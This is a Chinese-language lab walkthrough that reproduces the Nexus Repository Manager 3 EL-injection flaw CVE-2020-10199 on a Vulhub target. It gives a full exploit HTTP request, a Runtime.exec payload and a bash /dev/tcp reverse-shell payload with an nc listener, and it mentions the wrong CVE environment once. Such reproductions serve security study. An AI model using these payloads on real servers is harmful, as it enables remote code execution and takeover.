Nexus Repository Manager 3 远程命令执行漏洞 CVE-2020-10199
Nexus CVE-2020-10199 漏洞复现
1.实验目的
1、能成功搭建漏洞测试与测试工具所需的运行环境
2、能成功利用漏洞原理测试复现漏洞
2覆盖知识点
Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器,极大地简化了内部仓库的维护和外部仓库的访问。CVE-2020-10199的漏洞可以经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限,具体过程只需要普通用户权限即可触发,漏洞的触发原因是不安全的执行EL表达式导致的。
影响版本
3.21.1及之前版本
漏洞原理
对于普通用户权限及以上用户存在一处任意EL表达式注入漏洞通过不安全的执行EL表达式导致注入代码实现。
3实验环境与操作
实验环境
1、VMware Workstation 16
2、Ubuntu 20.4(靶场安装环境)
IP:192.168.32.135
3、kali Linux (攻击机)
IP:192.168.32.128
4、Vulhub靶场
5、Burp Suite
漏洞复现
启动Ubuntu的vulhub对应镜像
进入CVE-2019-7238环境地址
Cd vulhub/nexus/CVE-2020-10199
拉取并启动环境
docker-compose up -d
查看环境运行状态
docker-compose ps
在浏览器中访问web应用,查看是否搭建成功。http://192.168.32.135:8081
使用给的弱密码登录进入后台。
用户密码:admin/admin
登录后使用f12调试出cookie和csrf-token值
使用burpsuite进行抓包,发送数据包至repeater模块中,用如下的数据包以及上面得到的cookie和csrf-token值来发送数据包查看是否存在漏洞。
更改地方NX-ANTI-CSRF-TOKEN、Cookie两个地方更改为自身的值
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 靶场ip:端口
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: /
Origin: 靶场ip:端口
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: 靶场ip:端口
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
“name”: “internal”,
“online”: true,
“storage”:
{
“blobStoreName”: “default”,
“strictContentTypeValidation”: true
},
“group”:
{
“memberNames”: [“$\A{9*9}”]
}
}
修改后,将构造的数据包发送可以看到构造的指令确实被执行了,说明漏洞确实存在。
所以就可以进一步构造我们想要的payload来实现一些恶意的操作,我们在“memberName“中的值改成能够执行命令的payload,然后发送数据包。
$\A{‘’.getClass().forName(‘java.lang.Runtime’).getMethods()[6].invoke(null).exec(‘touch /tmp/success’)}
返回Ubuntu靶机查看是否成功创建,创建成功
进一步,我们执行反弹shell,通过把执行写入文件的payload修改成反弹shell的命令,并且用nc进行端口监听
" $\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')}"
我选择在kali中对9999端口进行监听,通过发送数据包可以在kali中监听到来自Ubuntu192.168.32.135的内容
通过ls /tmp查找到之前创立的文档,漏洞至此复现完毕。
实验总结
nexus 远程代码执行 (CVE-2020-10199)漏洞是一个基于maven的仓库管理器,漏洞主要是不安全的执行了EL表达式导致的,根据网上的内容也就明白了为什么对于memberNames中的值进行修改和插入payload的操作了,这跟CVE-2019-7238漏洞原理也有异曲同工之处,同样是通过对于一些定义的函数不加以检查然后导致出现漏洞被用来注入执行远程代码。
版权归原作者 霞日 所有, 如有侵权,请联系我们删除。